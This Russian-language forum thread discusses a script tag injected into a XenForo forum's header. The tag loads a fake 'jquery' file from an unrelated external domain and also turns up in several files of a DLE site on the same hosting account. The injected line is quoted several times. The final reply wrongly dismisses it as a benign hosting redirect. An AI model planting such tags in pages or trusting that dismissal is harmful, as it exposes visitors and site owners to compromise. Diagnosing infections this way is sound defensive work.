1. Приветствуем Вас на неофициальном форуме технической поддержки XenForo на русском языке. XenForo - коммерческий форумный движок от бывших создателей vBulletin, написанный на PHP.

1.1.4 Левая ссылка в шапке

Тема в разделе "Основные вопросы по XenForo", создана пользователем stranger, 30.05.2013.

Загрузка
  1. stranger

    stranger Местный

    Регистрация:
    13.03.11
    Сообщения:
    72
    Симпатии:
    7
    Версия XF:
    1.1.5
    Помогите! не могу найти откуда прописывается в шапке любого стиля и дефолтного тоже ява скрипт
    Код:
    <script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script></head>
    Откуда он берется? Просмотрел шаблон page container там ничего нет, поиск по фразам и шаблонам ничего не дала
     
  2. infis

    infis Местный

    Регистрация:
    27.06.11
    Сообщения:
    5 966
    Симпатии:
    3 548
    Версия XF:
    1.5.9
    Посмотрите файлы php и htaccess. Также может быть хостер заражен.
    Когда будете искать, то ищите только xxxindianxxx - этого достаточно для вылавливания.
     
  3. stranger

    stranger Местный

    Регистрация:
    13.03.11
    Сообщения:
    72
    Симпатии:
    7
    Версия XF:
    1.1.5
    в папке в форумом ничего не нашел через поиск по файлам, но нашел на другом сайте dle на том же хост аккаунте. домены для форума и dle сайта разные.
    где еще может быть? в базе могут ссылку прописать для форума чтобы она в шапке выходила?
     
  4. ApJIeKuHo

    ApJIeKuHo Местный

    Регистрация:
    08.03.13
    Сообщения:
    188
    Симпатии:
    28
    Версия XF:
    1.1.4
    Хм... а в файле index.php ничего подозрительного не видели?) Код то ведь можно и закодировать) Так что советую очень внимательно посмотреть на index.php)
    Или если вы скачивали нулл на каком то не очень популярном ресурсе и у не очень популярного человека тогда уж лучше меняйте нулл) Если не нулл - можете попробовать воспользоваться инспектором файлов)
     
  5. stranger

    stranger Местный

    Регистрация:
    13.03.11
    Сообщения:
    72
    Симпатии:
    7
    Версия XF:
    1.1.5
    в индексе ничего нет. прошелся даже скриптом ai-bolit-ом, форум чистый.
    Уже вроде не выходит этот код после чистки сайта на dle. Хотя связки никакой небыло между xenforo и dle, только на одном аккаунте хостинга были.
    Нашел в файлах dle
    Код:
    \www\engine\ajax\upload.php
    Line 408: <script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script></head>
    \www\engine\classes\mysql.class.php
    Line 253: <script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script></head>
    \www\engine\classes\mysqli.class.php
    Line 252: <script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script></head>
    \www\engine\editor\jscripts\tiny_mce\plugins\typograf\typograf.html
    Line 11: <script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script></head>
     
  6. MicroHaX

    MicroHaX Местный

    Регистрация:
    14.09.12
    Сообщения:
    38
    Симпатии:
    5
    Версия XF:
    1.1.5
    просто хостинг извращенский или нищебродский, не хватило трафика им разместить jquery на своем сайте, вот и сделали некий "редирект" jquery на любом движке, будь то dle или xf
     

Поделиться этой страницей